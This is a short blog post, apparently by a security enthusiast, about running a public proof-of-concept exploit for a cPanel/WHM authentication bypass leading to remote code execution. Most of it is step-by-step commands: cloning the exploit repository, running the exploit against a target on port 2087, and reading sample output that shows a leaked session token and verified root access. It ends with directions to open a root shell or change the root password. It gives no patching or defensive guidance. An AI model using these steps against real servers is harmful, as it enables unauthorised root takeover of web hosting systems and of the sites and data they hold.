cPanel/WHM Auth Bypass to RCE — CVE-2026-41940

– min read

Hi, while I was looking at recent critical vulnerabilities I stumbled upon a cool auth bypass to RCE exploit by Sina Kheirkhah from watchTowr for cPanel/WHM (CVE-2026-41940, CVSS 9.8). It chains a CRLF injection with a malformed cookie to bypass authentication entirely and gain root access to WHM.

watchTowr blog: https://labs.watchtowr.com/
GitHub: https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

Requirements:

  1. Python 3
  2. requests library (pip install requests)
  3. A vulnerable cPanel/WHM host (port 2087)


First, clone the repo and install the dependency:


git clone https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py.git
cd watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
pip install requests


Run it against your target WHM on port 2087:


python watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py --target https://target:2087


If the target is vulnerable, you’ll see it mint a preauth session, leak a CPSESS token, verify root access, and confirm you’re in:


[0] hostname = target.example.com
[1] minting a preauth session...
    session base = :vQ2WC5Bexp0oFSa7
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess5691070609
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.89"}
    
[+] now just login to https://target:2087 and use the terminal option to get a root shell


The exploit works in 4 stages — it mints a fake session, injects a crafted CRLF via the Authorization header, propagates the session to cache, and if successful, you’re authenticated as root in WHM. From there you can use the WHM terminal to get a shell or use the json-api to change the root password.

Credits to Sina Kheirkhah and watchTowr for the research.

Mohamad ZulfahmyCybersecurity · OffSec · Entrepreneur
About me ↗
ON THIS PAGE
On this page
Xin

Keep reading